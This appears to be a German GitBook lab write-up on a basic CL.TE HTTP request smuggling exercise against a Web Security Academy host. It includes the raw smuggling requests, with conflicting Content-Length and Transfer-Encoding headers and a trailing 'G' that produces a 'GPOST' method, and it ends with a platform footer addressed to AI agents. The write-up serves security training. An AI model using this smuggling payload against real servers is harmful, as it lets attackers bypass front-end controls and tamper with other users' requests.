> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/request-smuggling/basic-cl-te-request-smuggling.md).

# Grundlegende CL.TE-Schwachstelle

### HTTP-Request-Smuggling, grundlegende CL.TE-Schwachstelle

In diesem Labor besteht die Infrastruktur aus einem Frontend-Server und einem Backend-Server. Der Frontend-Server **unterstützt keine Chunked-Codierung** und **weist jede Anfrage zurück, die nicht GET oder POST verwendet** Methoden.

Das Ziel ist es, **eine Anfrage zum Backend zu schmuggeln** Server, sodass **die vom Server interpretierte folgende Anfrage scheinbar die `GPOST`** Methode verwendet.

> Hinweis\:/ " Auch wenn das Labor HTTP/2 akzeptiert, basiert die notwendige Technik ausschließlich auf HTTP/1. Das Protokoll muss in Burp Repeater manuell über den Abschnitt Request attributes des Inspectors geändert werden.

> Tipp\:/ Das manuelle Handhaben von Längen bei einem Request-Smuggling-Angriff kann komplex sein. Die Burp-Erweiterung HTTP Request Smuggler, die im BApp Store verfügbar ist, kann diese Aufgabe erleichtern.

#### \*\* Gültiges Beispiel beobachtet\*\*

Die folgende Anfrage wurde akzeptiert:

```http
POST / HTTP/1.1
Host: 0acc00e204b4e3ae81f82028009c00eb.web-security-academy.net
Content-Length: 13
Tranfer-Encoding: chunked

3
abc
0


```

#### **Fehler durch Ändern der endgültigen Größe**

Wenn das `0` Endzeichen durch ein ungültiges Zeichen ersetzt wird (z. B. `X`), meldet der Server einen Fehler:

```
3
abc
X
```

<figure><img src="/files/a6088bfafee865cbe4b3483620d9ab07745419c7" alt=""><figcaption></figcaption></figure>

#### **Fügen Sie das einzuschleusende Endzeichen hinzu `G`**

Indem Sie ein `G` nach dem letzten Chunk platzieren, können Sie die eingeschleuste Anfrage für das Backend vorbereiten:

```http
POST / HTTP/1.1
Host: 0acc00e204b4e3ae81f82028009c00eb.web-security-academy.net
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 6
Transfer-Encoding: chunked

0

G
```

<figure><img src="/files/46e9dc109095705d4315f766e3f5806b72f806a9" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/web/request-smuggling/basic-cl-te-request-smuggling.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
